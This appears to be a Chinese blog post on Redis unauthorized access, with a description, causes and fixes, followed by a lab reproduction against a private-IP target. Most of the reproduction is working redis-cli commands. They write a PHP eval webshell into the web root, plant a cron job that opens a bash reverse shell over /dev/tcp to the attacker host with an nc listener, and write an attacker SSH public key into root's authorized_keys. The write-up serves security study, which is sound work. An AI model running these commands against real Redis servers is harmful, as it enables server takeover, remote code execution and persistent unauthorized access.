当前位置: 首页 > news >正文

redis 未授权访问漏洞

redis 未授权访问漏洞

目录

redis 未授权访问漏洞

漏洞描述

漏洞原因:

漏洞危害

漏洞复现:

漏洞复现

写webshell:

写计划任务:centos默认在/var/spool/cron

写ssh公钥实现ssh登录:


漏洞描述:

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

漏洞原因:

(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
​
(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务
​
版本:redis 2.x 3.x 4.x 5.x 

漏洞危害:

(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
(2) 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件
(3) 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器

修复建议:

1、禁止外部访问redis服务端口

2、禁止使用root权限启动redis服务

3、配置安全组,限制可连接的redis服务的ip

4、redis设置用户名和密码访问

漏洞复现:

修改配置:

#bind 127.0.0.1
protected-mod no

重启服务:

./redis-server /root/redis-6.2.5/redis.conf 

漏洞复现

写webshell:

客户端:

./redis-cli -h 192.168.26.153
​
192.168.26.153:6379> config set dir /var/www/html
OK
192.168.26.153:6379> config set dbfilename redis.php
OK
192.168.26.153:6379> set webshell "\n\r\n\r<?php phpinfo();?>\n\r\n\r"
OK
192.168.26.153:6379> save
OK
​
​
"\n\r\n\r<?php @eval($_POST['cmd']);?>\n\r\n\r"

写计划任务:centos默认在/var/spool/cron

not connected> config get dir
1) "dir"
2) "/root/redis-6.2.5/src"
192.168.26.153:6379> config set  dir /var/spool/cron
OK
192.168.26.153:6379> config set dbfilename root
OK
192.168.26.153:6379> set ddd "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.26.144/7777 0>&1\n\n\n"
OK
192.168.26.153:6379> save

攻击机上使用nc监听,然后进行登录:

nc -lvp 7777

结果:

写ssh公钥实现ssh登录:

攻击机上生成公钥和私钥

ssh-keygen -t rsa 

2、进入/root/.ssh,将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)

(echo -e “\n”;cat id_rsa.pub;echo -e “\n”)>key.txt

3、再把key.txt文件内容写入redis缓冲

cat key.txt| /root/redis-6.2.5/src/./redis-cli -h 192.168.26.153 -x set pub

4、设置redis的默认文件路径为/root/.ssh且文件名为authorized_keys,然后save保存。

192.168.26.153:6379> ping 
PONG
192.168.26.153:6379> config set  dir /root/.ssh
OK
192.168.26.153:6379> config set dbfilename authorized_keys
OK
192.168.26.153:6379> config get dbfilename 
1) "dbfilename"
2) "authorized_keys"
192.168.26.153:6379> save
OK
192.168.26.153:6379> 

5、在攻击机中使用ssh免密登录靶机

相关文章:

redis 未授权访问漏洞

redis 未授权访问漏洞 目录 redis 未授权访问漏洞 漏洞描述 漏洞原因&#xff1a; 漏洞危害 漏洞复现&#xff1a; 漏洞复现 写webshell: 写计划任务&#xff1a;centos默认在/var/spool/cron 写ssh公钥实现ssh登录&#xff1a; 漏洞描述&#xff1a; Redis默认情况下…...

如何制作一个自定义的winpe?

winpe制作过程 获取相关资源 https://www.aliyundrive.com/s/MP58JbRsm76 文件存放位置 将压缩包存放在一个全英文目录下了,我这里选择了D:/winpe目录 解压文件 将三个压缩包进行解压到当前目录,如下图所示 创建一个mount目录,并在mount目录下分别创建boot和install目…...

QString转为2进制,8进制,10进制,16进制介绍

首先看段代码&#xff1a; bool ok false;QString ss "11";qDebug()<<"-----"<<ss.toInt(&ok,2)<<ss.toInt(&ok,10)<<ss.toInt(&ok,16)<<ss.toInt(&ok,8);结果&#xff1a; ----- 3 11 17 9 bool ok fal…...

2023-3-2-22:01随笔

好久没怎么更新技术分享博客了。去年从2022年1月3日到2023年1月份一直专注于ADAS的行车横向功能的研发与实车调试&#xff0c;2022年写了几篇项目经验的文章&#xff0c;像LQR算法&#xff08;虽然和同事&#xff08;志同道合&#xff0c;技术追求的民哥&#xff09;写出的工程…...

学习红客技术必备,手把手教你成为“安防第一人”

互联网时代已悄悄来临&#xff0c;作为新时代的人们&#xff0c;我们日常生活、工作、学习方面都需要借助互联网来完成&#xff0c;这样&#xff0c;又产生一种新的问题&#xff0c;那就是网络安全的问题&#xff0c;有时我们拼命加班好不容易完成的东西&#xff0c;在一夜之间…...

Git系列:常见指令辨析

Git系列&#xff1a;常见指令辨析指令辨析工作区、暂存区、版本库傻傻分不清楚&#xff1f;主干和分支的关系是什么&#xff1f;git fetch/merge/pull辨析日志查看时&#xff0c;git log与git reflog的区别是&#xff1f;git diff和status的区别是&#xff1f;相关资料本文小结…...

并发编程实战-构建自定义的同步工具

文章目录1.状态依赖性的管理1.1 示例&#xff1a;将前提条件的失败传递给调用者1.2 示例&#xff1a;通过轮询与休眠来实现简单的阻塞1.3 条件队列2.使用条件队列2.1 条件谓词2.2 过早唤醒2.3 丢失的信号2.4 通知2.5 示例&#xff1a;阀门类2.6 子类的安全问题2.7 入口协议与出…...

HBase集群部署

目录 一、前期准备 二、HBase下载 1. 查看HBase与hadoop版本对应关系 2. hbase的下载 3. 将hbase的tar包上传到linux 下 二、安装hbase 1. 解压 2. HBase的文件配置 主机名hadoop版本HBase版本hadoop安装路径Hbase安装路径HadoopMaster3.3.02.4.3/home/hadoop/softwareh…...

网络传输:linux下的网络请求和下载(ping wget curl)、端口

一、下载和网络请求 1.ping命令 可以通过ping命令&#xff0c;检查指定的网络服务器是否可连通状态 语法&#xff1a;ping [-c num] ip或主机名 选项&#xff1a; -c 检查的次数&#xff0c;若不使用-c&#xff0c;将无限次数持续检查参数&#xff1a;ip或主机名&#xff0c…...

阅读(1)-----六级

目录 1.单词不懂怎么办&#xff1f; 1.1构词法 1.2上下文 2.句子不通怎么办&#xff1f; 3.时间不够怎么办 &#xff1f; 4.题型 4.1细节题 问文章的细节 4.2主旨题(文章主旨和段落主旨) 4.3语义题 4.4观点题 &#xff08;一共三种&#xff0c;支持、反对和中立 &…...

【Python实战】快看:”又中奖了,中大奖了“周围的小伙伴都惊呆了~你还不麻溜滴~(代码版彩票小游戏上线啦)

导语 哈喽&#xff01;北鼻们&#xff0c;晚上好。 夕阳&#x1f307;的第一缕阳光送给小可爱们~每天都要加油鸭&#xff01; 所有文章完整的素材源码都在&#x1f447;&#x1f447; 粉丝白嫖源码福利&#xff0c;请移步至CSDN社区或文末公众hao即可免费。 彩票是一个恒古不…...

【python】控制台中文输出乱码解决方案

注&#xff1a;最后有面试挑战&#xff0c;看看自己掌握了吗 文章目录控制台原因解决方法方法一方法二方法三如果是os.system函数乱码控制台原因 一般的情况下&#xff0c;还是我们的源码文件的编码格式问题。我们一般是要把源码文件的编码格式改成utf-8就好了&#xff0c;但是…...

一名IC验证工程师的成长路径是怎么样的?来听听工程师的见解

IC验证这个岗位对于非科班的学生是比较友好的&#xff0c;因为验证需要具备的技能UVM&#xff0c;SV&#xff0c;C等&#xff0c;非科班和科班的差距不会拉开太大。因其岗位需求量巨大而格外受到了大家的青睐&#xff0c;甚至成为不少学生的转行首选。 验证对于IC的重要性 IC…...

java工具jconsole/jstat学习

参考视频【java】jvm指令与工具jstat/jstack/jmap/jconsole/jps/visualVM_哔哩哔哩_bilibili 一、jps 我们再windows和linux都可以看到哪些java进程。 有小伙伴又会问了 这个类是java的 那其他的这么多进程18096 /8685 这些是啥啊 其实也是java进程&#xff0c;只不过是其他程…...

WSN_1 介绍;部分应用介绍

学习自书籍&#xff1a;Fundamentals of Wireless Sensor Networks. WSN 介绍 传感器 从基础角度说&#xff0c;传感器观测采集现实世界的一些数据。 另一个名称是 transducer 换能器&#xff0c;指传感器将一些形式的信号转换为其他形式的信号&#xff0c;如光敏传感器 光…...

linux常用命令介绍 05 篇——实际应用篇(用 cut、uniq等统计文档里每个关键词出现的次数)

linux常用命令介绍 05 篇——实际应用篇&#xff08;用 cut、uniq等统计文档里每个关键词出现的次数&#xff09;1. 先导文章——关于行过滤 和 列截取2. 关于单个统计单词个数2.1 grep2.2 wc3. 统计文档中每个关键词出现的次数3.1 先看文档内容 需求3.1.1 文档内容3.1.2 需求…...

大数据处理学习笔记1.7 Scala类与对象

文章目录零、本节学习目标一、类&#xff08;一&#xff09;类的定义&#xff08;二&#xff09;类的实例化二、单例对象&#xff08;一&#xff09;单例对象概念&#xff08;二&#xff09;案例演示三、伴生对象&#xff08;一&#xff09;伴生对象概念&#xff08;二&#xf…...

Feign踩坑源码分析 -- 请求参数分号变逗号

一.案例 1.1.Post请求&#xff1a; http://localhost:8250/xx/task/test json格式参数&#xff1a; {"string": "a;b;c;d" } 1.2.controller代码&#xff1a; AutowiredDataSourceClientService dataSourceClientService;RequestMapping("/test"…...

nginx通用history模式刷新

注:1.通用配置只支持二段路由,二段及以上依然需要单独进行配置 2.所有location后面的路径,都需要使用通配符进行配置 location ^~ /phdp/ {try_files $uri $uri/ /phdp/index.html;index ruoyi.html index.html index.htm;}location ^~ /phdp-api/ {client_max_body_size 20m;p…...

Linux系统安装:Zookeeper

目录 Zookeeper的安装 1、环境准备 2、上传 3、解压文件到opt/zookeeper目下 4、安装完后进入zookeeper&#xff0c;找到conf目录 5、复制zoo_sample.cfg 6、编辑zoo.cfg 7、复制一份会话&#xff0c;进入zookeeper安装目录&#xff0c;创建一个文件夹zkdata&#xff0…...

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院查看报告小程序

一、开发环境准备 ​​工具安装​​&#xff1a; 下载安装DevEco Studio 4.0&#xff08;支持HarmonyOS 5&#xff09;配置HarmonyOS SDK 5.0确保Node.js版本≥14 ​​项目初始化​​&#xff1a; ohpm init harmony/hospital-report-app 二、核心功能模块实现 1. 报告列表…...

第一篇:Agent2Agent (A2A) 协议——协作式人工智能的黎明

AI 领域的快速发展正在催生一个新时代&#xff0c;智能代理&#xff08;agents&#xff09;不再是孤立的个体&#xff0c;而是能够像一个数字团队一样协作。然而&#xff0c;当前 AI 生态系统的碎片化阻碍了这一愿景的实现&#xff0c;导致了“AI 巴别塔问题”——不同代理之间…...

论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法(ISWC2024)

笔记整理&#xff1a;刘治强&#xff0c;浙江大学硕士生&#xff0c;研究方向为知识图谱表示学习&#xff0c;大语言模型 论文链接&#xff1a;http://arxiv.org/abs/2407.16127 发表会议&#xff1a;ISWC 2024 1. 动机 传统的知识图谱补全&#xff08;KGC&#xff09;模型通过…...

Unit 1 深度强化学习简介

Deep RL Course ——Unit 1 Introduction 从理论和实践层面深入学习深度强化学习。学会使用知名的深度强化学习库&#xff0c;例如 Stable Baselines3、RL Baselines3 Zoo、Sample Factory 和 CleanRL。在独特的环境中训练智能体&#xff0c;比如 SnowballFight、Huggy the Do…...

【开发技术】.Net使用FFmpeg视频特定帧上绘制内容

目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法&#xff0c;当前调用一个医疗行业的AI识别算法后返回…...

今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存

文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...

Windows安装Miniconda

一、下载 https://www.anaconda.com/download/success 二、安装 三、配置镜像源 Anaconda/Miniconda pip 配置清华镜像源_anaconda配置清华源-CSDN博客 四、常用操作命令 Anaconda/Miniconda 基本操作命令_miniconda创建环境命令-CSDN博客...

ui框架-文件列表展示

ui框架-文件列表展示 介绍 UI框架的文件列表展示组件&#xff0c;可以展示文件夹&#xff0c;支持列表展示和图标展示模式。组件提供了丰富的功能和可配置选项&#xff0c;适用于文件管理、文件上传等场景。 功能特性 支持列表模式和网格模式的切换展示支持文件和文件夹的层…...

Qwen系列之Qwen3解读:最强开源模型的细节拆解

文章目录 1.1分钟快览2.模型架构2.1.Dense模型2.2.MoE模型 3.预训练阶段3.1.数据3.2.训练3.3.评估 4.后训练阶段S1: 长链思维冷启动S2: 推理强化学习S3: 思考模式融合S4: 通用强化学习 5.全家桶中的小模型训练评估评估数据集评估细节评估效果弱智评估和民间Arena 分析展望 如果…...

【题解-洛谷】P10480 可达性统计

题目&#xff1a;P10480 可达性统计 题目描述 给定一张 N N N 个点 M M M 条边的有向无环图&#xff0c;分别统计从每个点出发能够到达的点的数量。 输入格式 第一行两个整数 N , M N,M N,M&#xff0c;接下来 M M M 行每行两个整数 x , y x,y x,y&#xff0c;表示从 …...